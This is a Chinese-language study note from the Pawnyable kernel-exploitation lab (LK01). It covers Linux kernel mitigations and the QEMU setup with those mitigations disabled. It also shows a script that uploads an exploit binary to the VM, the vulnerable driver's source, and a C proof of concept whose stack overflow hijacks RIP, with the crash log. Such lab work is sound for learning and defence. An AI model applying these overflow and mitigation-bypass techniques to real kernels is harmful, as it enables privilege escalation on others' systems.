摘抄自https://pawnyable.cafe/linux-kernel/introduction/security.html
保护措施 SMEP(Supervisor Mode Execution Prevention)
它禁止在执行内核空间代码时突然执行用户空间代码,硬件安全机制
/*可查看系统的保护信息,其中的flag字段显示*/ cat /proc/cpuinfo
SMAP(Supervisor Mode Access Prevention)
如果启用了 SMAP,则用户空间(ROP 链)中的数据 mmapped 在内核空间中不可见,因此堆栈枢轴的 ret
指令会触发内核崩溃,硬件安全机制
KASLR/FGKASLR
它可以随机化 Linux 内核和设备驱动程序代码数据区域的地址。一旦内核加载,它就不会移动,因此 KASLR 在启动时只工作一次。
自 2020 年初以来, 出现了一种名为 FGKASLR (功能粒度 KASLR)的更强大的 KASLR。 截至 2022 年,它似乎默认处于禁用状态,但这是一种为 Linux 内核中的每个函数随机化地址的技术。 即使 Linux 内核中函数的地址可以泄漏,也不会确定基址。但是,FGKASLR 不会随机化数据段等,因此如果数据的地址可以泄露,则可以获得基址。 但是,无法从基址确定特定函数的地址,但可以将其用于稍后出现的特殊攻击向量。
请注意,地址在内核空间中是通用的。 即使一个设备驱动程序由于 KASLR 而无法被利用,如果另一个驱动程序泄漏了内核地址,它也可能被利用,因为该地址是通用的。
-append "... nokaslr ..."
KPTI(Kernel Page-Table Isolation)
2018 年,在 Intel 等 CPU 上发现了一种名为 Meltdown 的侧信道攻击。 虽然没有解释这个漏洞,但它是一个严重的漏洞,允许用户以用户权限读取内核空间中的内存,并且有可能绕过 KASLR。 近年来,Linux 内核启用了一种称为 KPTI (内核页表隔离)或 KAISER 的旧名称机制,作为对 Meltdown 的对策。
KADR (Kernel Address Display Restriction)
在 Linux 内核中,您可以从 /proc/kallsyms
读取函数的名称和地址信息。 此外,一些设备驱动程序使用 printk
函数将各种调试信息输出到日志中,用户可以通过 dmesg
命令查看这些信息。这样,Linux 就有一种机制可以防止内核空间中的函数、数据和堆等地址信息泄露。 我认为没有正式的名称,但它在参考资料 中似乎被称为 KADR (Kernel Address Display Restriction),所以我也将在这个网站上使用这个名称。
此功能可以通过 的值来 /proc/sys/kernel/kptr_restrict
更改。 如果 kptr_restrict
为 0,则对地址的显示没有限制。 如果 kptr_restrict
为 1,则向具有CAP_SYSLOG
权限的用户显示地址。 如果 kptr_restrict
为 2,则隐藏内核地址,即使用户处于权限级别也是如此。
传输exploit 本地制作与传输 #!/bin/sh gcc exploit.c -o exploit -static mv exploit rootcd root; find . -print0 | cpio -o --null --format=newc > ../debugfs.cpiocd ../qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \ -no-reboot \ -cpu qemu64 \ -gdb tcp::12345 \ -smp 1 \ -monitor /dev/null \ -initrd debugfs.cpio \ -net nic,model=virtio \ -net user
关于musl-gcc
可以减少文件的尺寸
root@L:/home/l/kernelpwn/LK01/qemu# gcc exploit.c -o exploit -static root@L:/home/l/kernelpwn/LK01/qemu# ls -al total 12292 drwxr-xr-x 3 l docker 4096 Aug 29 13:42 . drwxr-xr-x 5 l docker 4096 Aug 29 13:41 .. -rw------- 1 root root 232 Aug 27 01:04 .gdb_history -rw-r--r-- 1 l docker 4720640 Oct 27 2021 bzImage -rw-r--r-- 1 root root 2911744 Aug 29 13:19 debugfs.cpio -rwxr-xr-x 1 root root 900352 Aug 29 13:42 exploit -rw-r--r-- 1 root root 71 Aug 29 13:18 exploit.c drwxr-xr-x 17 root root 4096 Aug 29 13:19 root -rw-r--r-- 1 l docker 2011136 Oct 27 2021 rootfs.cpio -rw-r--r-- 1 root root 2011136 Aug 27 00:20 rootfs_updated.cpio -rwxr-xr-x 1 l docker 352 Aug 29 00:28 run.sh -rw-r--r-- 1 root root 451 Aug 29 13:19 transfer.sh ------------------------------------------------------------------------------------------- root@L:/home/l/kernelpwn/LK01/qemu# musl-gcc ./exploit.c -o exploit -static root@L:/home/l/kernelpwn/LK01/qemu# ls -al total 11440 drwxr-xr-x 3 l docker 4096 Aug 29 13:43 . drwxr-xr-x 5 l docker 4096 Aug 29 13:41 .. -rw------- 1 root root 232 Aug 27 01:04 .gdb_history -rw-r--r-- 1 l docker 4720640 Oct 27 2021 bzImage -rw-r--r-- 1 root root 2911744 Aug 29 13:19 debugfs.cpio -rwxr-xr-x 1 root root 24728 Aug 29 13:43 exploit -rw-r--r-- 1 root root 71 Aug 29 13:18 exploit.c drwxr-xr-x 17 root root 4096 Aug 29 13:19 root -rw-r--r-- 1 l docker 2011136 Oct 27 2021 rootfs.cpio -rw-r--r-- 1 root root 2011136 Aug 27 00:20 rootfs_updated.cpio -rwxr-xr-x 1 l docker 352 Aug 29 00:28 run.sh -rw-r--r-- 1 root root 451 Aug 29 13:19 transfer.sh
远程连接
利用base64,和启动脚本进行远程转发,主要用来转发base64编码之后的二进制文件
from ptrlib import *import timeimport base64import osdef run (cmd ): sock.sendlineafter("$ " , cmd) sock.recvline() with open ("./root/exploit" , "rb" ) as f: payload = bytes2str(base64.b64encode(f.read())) sock = Process("./run.sh" ) run('cd /tmp' ) logger.info("Uploading..." ) for i in range (0 , len (payload), 512 ): print (f"Uploading... {i:x} / {len (payload):x} " ) run('echo "{}" >> b64exp' .format (payload[i:i+512 ])) run('base64 -d b64exp > exploit' ) run('rm b64exp' ) run('chmod +x exploit' ) sock.interactive() --------------------------结果---------------- [ptrlib]$ /tmp ls[ptrlib]$ [ptrlib]$ exploit [ptrlib]$ [0 ;0mmessages [ptrlib]$ reso[ptrlib]$ lv[ptrlib]$ .c[ptrlib]$ onf[ptrlib]$ [ptrlib]$ /tmp ./exp[ptrlib]$ l[ptrlib]$ o[ptrlib]$ it[ptrlib]$ [ptrlib]$ Hello, World! 不知道为什么格式那么乱
关于内核初始化
以LK01为例子
主要是在/etc文件中
inittab
涉及到文件系统的挂载
主要是启动时和关闭时的行为
# /etc/inittab # # # completely ignored by BusyBox init. If you want runlevels, use # sysvinit. # # # runlevels == ignored # action == one of sysinit, respawn, askfirst, wait , and once # process == program to run # Startup the system ::sysinit:/bin/mount -t proc proc /proc ::sysinit:/bin/mount -o remount,rw / ::sysinit:/bin/mkdir -p /dev/pts /dev/shm ::sysinit:/bin/mount -a ::sysinit:/sbin/swapon -a null::sysinit:/bin/ln -sf /proc/self/fd /dev/fd null::sysinit:/bin/ln -sf /proc/self/fd/0 /dev/stdin null::sysinit:/bin/ln -sf /proc/self/fd/1 /dev/stdout null::sysinit:/bin/ln -sf /proc/self/fd/2 /dev/stderr ::sysinit:/bin/hostname -F /etc/hostname # now run any rc scripts ::sysinit:/etc/init.d/rcS # Put a getty on the serial port # ttyS0::respawn:/sbin/getty -L ttyS0 115200 vt100 tty1::respawn:/sbin/getty -L tty1 0 vt100 # QEMU graphical window # Stuff to do for the 3-finger salute # ::ctrlaltdel:/sbin/reboot # Stuff to do before rebooting ::shutdown:/etc/init.d/rcK ::shutdown:/sbin/swapoff -a ::shutdown:/bin/umount -a -r
/etc/init.d/rcS
目前已知包括了驱动的加载以及shell的加载
# !/bin/sh # # # mdev -s mount -t proc none /proc mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx stty -opost # echo 2 > /proc/sys/kernel/kptr_restrict# echo 1 > /proc/sys/kernel/dmesg_restrict# # # insmod /root/vuln.ko mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0 # # # echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" echo "[ Holstein v1 (LK01) - Pawnyable ]" setsid cttyhack setuidgid 0 sh # # # umount /proc poweroff -d 0 -f
insmod /root/vuln.ko mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}' ` 0
驱动模块源码分析 设备注册和设备清除
指定了模块加载以及退出时所要执行的函数
module_init(module_initialize); module_exit(module_cleanup);
本次实验中的函数为:可通过DEVICE_NAME来传递
#define DEVICE_NAME "holstein" static struct file_operations module_fops = { .owner = THIS_MODULE, .read = module_read, .write = module_write, .open = module_open, .release = module_close, }; static dev_t dev_id;static struct cdev c_dev ;static int __init module_initialize (void ) { if (alloc_chrdev_region(&dev_id, 0 , 1 , DEVICE_NAME)) { printk(KERN_WARNING "Failed to register device\n" ); return -EBUSY; } cdev_init(&c_dev, &module_fops); c_dev.owner = THIS_MODULE; if (cdev_add(&c_dev, dev_id, 1 )) { printk(KERN_WARNING "Failed to add cdev\n" ); unregister_chrdev_region(dev_id, 1 ); return -EBUSY; } return 0 ; } static void __exit module_cleanup (void ) { cdev_del(&c_dev); unregister_chrdev_region(dev_id, 1 ); }
open&read&write&close
具体操作函数即是漏洞存在点,很容易发现溢出漏洞,但是利用还需学习
发现了栈溢出漏洞,但是open,close好像也有漏洞,因此需要深入学习
#define BUFFER_SIZE 0x400 char *g_buf = NULL ;static int module_open (struct inode *inode, struct file *file) { printk(KERN_INFO "module_open called\n" ); g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL); if (!g_buf) { printk(KERN_INFO "kmalloc failed" ); return -ENOMEM; } return 0 ; } static ssize_t module_read (struct file *file, char __user *buf, size_t count, loff_t *f_pos) { char kbuf[BUFFER_SIZE] = { 0 }; printk(KERN_INFO "module_read called\n" ); memcpy (kbuf, g_buf, BUFFER_SIZE); if (_copy_to_user(buf, kbuf, count)) { printk(KERN_INFO "copy_to_user failed\n" ); return -EINVAL; } return count; } static ssize_t module_write (struct file *file, const char __user *buf, size_t count, loff_t *f_pos) { char kbuf[BUFFER_SIZE] = { 0 }; printk(KERN_INFO "module_write called\n" ); if (_copy_from_user(kbuf, buf, count)) { printk(KERN_INFO "copy_from_user failed\n" ); return -EINVAL; } memcpy (g_buf, kbuf, BUFFER_SIZE); return count; } static int module_close (struct inode *inode, struct file *file) { printk(KERN_INFO "module_close called\n" ); kfree(g_buf); return 0 ; }
编写脚本以及利用
尝试栈溢出,观察到内核崩溃,程序退出
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> void fatal (const char *msg) { perror(msg); exit (1 ); } int main () { int fd = open("/dev/holstein" , O_RDWR); if (fd == -1 ) fatal("open(\"/dev/holstein\")" ); char buf[0x800 ]; memset (buf, 'A' , 0x800 ); write(fd, buf, 0x800 ); close(fd); return 0 ; }
主要崩溃原因为:溢出到了保护页,尝试减少溢出
BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____)) kernel stack overflow (page fault) : 0000 [#1] PREEMPT SMP NOPTI 可惜没有改变RIP的取值
减少溢出到0x420,可以看到rip被劫持
/ # ./exploit general protection fault: 0000 [#1 ] PREEMPT SMP NOPTI CPU: 0 PID: 163 Comm: exploit Tainted: G O 5.10 .7 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996 ) , BIOS 1.15.0-1 04/01/2014 RIP: 0010:0x4141414141414141 Code: Unable to access opcode bytes at RIP 0x4141414141414117. RSP: 0018:ffffc90000443eb8 EFLAGS: 00000202 RAX: 0000000000000420 RBX: ffff888003141900 RCX: 0000000000000000 RDX: 000000000000007f RSI: ffffc90000443ea8 RDI: ffff8880032a9400 RBP: 4141414141414141 R08: ffffffff81ea4608 R09: 0000000000004ffb R10: 00000000fffff000 R11: 3fffffffffffffff R12: 0000000000000420 R13: 0000000000000000 R14: 00007ffee0caf4e0 R15: ffffc90000443ef8 FS: 00000000004cd3c0 (0000 ) GS:ffff888003800000 (0000 ) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00000000004b4b60 CR3: 00000000032aa000 CR4: 00000000000006f0 Call Trace: ? ksys_write+0x53/0xd0 ? __x64_sys_write+0x15/0x20 ? do_syscall_64+0x38/0x50 ? entry_SYSCALL_64_after_hwframe+0x44/0xa9 Modules linked in: vuln (O) ---[ end trace 61f5f4af6b064506 ]--- RIP: 0010:0x4141414141414141 Code: Unable to access opcode bytes at RIP 0x4141414141414117. RSP: 0018:ffffc90000443eb8 EFLAGS: 00000202 RAX: 0000000000000420 RBX: ffff888003141900 RCX: 0000000000000000 RDX: 000000000000007f RSI: ffffc90000443ea8 RDI: ffff8880032a9400 RBP: 4141414141414141 R08: ffffffff81ea4608 R09: 0000000000004ffb R10: 00000000fffff000 R11: 3fffffffffffffff R12: 0000000000000420 R13: 0000000000000000 R14: 00007ffee0caf4e0 R15: ffffc90000443ef8 FS: 00000000004cd3c0 (0000 ) GS:ffff888003800000 (0000 ) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00000000004b4b60 CR3: 00000000032aa000 CR4: 00000000000006f0 Kernel panic - not syncing: Fatal exception Kernel Offset: disabled